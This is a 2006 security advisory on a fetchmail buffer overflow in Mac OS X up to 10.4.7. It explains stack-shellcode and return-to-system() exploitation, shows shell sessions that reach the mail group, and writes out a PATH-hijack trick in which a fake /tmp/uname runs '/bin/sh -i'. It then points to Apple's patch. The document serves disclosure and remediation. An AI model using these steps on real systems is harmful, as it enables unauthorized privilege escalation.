DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow'

DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow'
Author: Kevin Finisterre
Vendor: http://www.apple.com/
Product: 'Mac OSX <=10.4.7'
References:
http://www.digitalmunition.com/DMA[2006-0801a].txt
http://www.digitalmunition.com/getpwnedmail-x86.pl
http://www.digitalmunition.com/getpwnedmail-ppc.pl
http://www.freebsd.org/cgi/query-pr.cgi?pr=83805
http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt
http://www.securityfocus.com/bid/14349

Description:
fetchmail-SA-2005-01 states that 'In fetchmail-6.2.5 and older, very long UIDs can
cause fetchmail to crash, or potentially make it execute code placed on the stack.
In some configurations, fetchmail is run by the root user to download mail for
multiple accounts.'. The authors of fetchmail made patches for these issues available
to the public on 2005-07-21.

In defiance of a 'very proactive approach to security' Apple's OSX remained unpatched
for approximately one year after the vendor supplied patches were made available.
Shortly after the vendor disclosure of this bug exploits were made available by The
Mantis Project ([email protected]). Conicidentally a recent paper was written
about exploiting buffer overflows and this vulnerability was used as an example:
http://packetstormsecurity.org/papers/attack/payload-rewrite_exploit.txt

As you may have guessed by now exploitation on OSX is fairly trivial for both PowerPC
and x86 platforms. An attacker with local access can gain gid=6 (mail) and a remote
attacker may gain root under certain conditions.

k-fs-computer:~ kf$ ls pwnedmail
getpwnedmail-ppc.pl getpwnedmail-x86.pl

On PowerPc things were pretty straight forward. Simply overwriting the $pc and $lr
registers with the address of our stack based shellcode was enough to snag egid=6. On
x86 we obviously have to deal with the NX based protection. As shown plenty of times
in the past a non executable stack by itself is pretty useless. We can overwrite the
$eip register with the address of system() and we are pretty much good to go. A small
wrapper in /tmp can help finish the job and give us a shell with gid=6.

k-fs-computer:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
Enter password for kfinisterre@localhost:
sh-2.05b$ id
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)

In some cases fetchmail is run by the root user so it may be possible to take remote
root with this vulnerability under certain circumstances.

As a side note a previously undisclosed local vulnerability in fetchmail was discovered
while documenting the above mentioned issue. Fetchmail no longer ships in a setgid() configuration
so this information should be of minimal impact. It is worth noting since it may impact non OSX
machines in a similar manor.

k-fs-computer:~ kf$ export PATH=/tmp/:$PATH
k-fs-computer:~ kf$ cat > /tmp/uname
/usr/bin/id
/bin/sh -i
k-fs-computer:~ kf$ chmod +x /tmp/uname
k-fs-computer:~ kf$ /usr/bin/fetchmail -V
This is fetchmail release 6.2.5+IMAP-GSS+SSL+INET6
Fallback MDA: (none)
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
sh-2.05b$

This issue is caused by the following code snippet:

if (versioninfo)
{
…
/* this is an attempt to help remote debugging */
system("uname -a");
}

Both of the above problems are addressed by the latest Apple update.

Work Around:
Install the 2006-004 update
http://docs.info.apple.com/article.html?artnum=106704
http://docs.info.apple.com/article.html?artnum=61798
http://www.apple.com/support/downloads/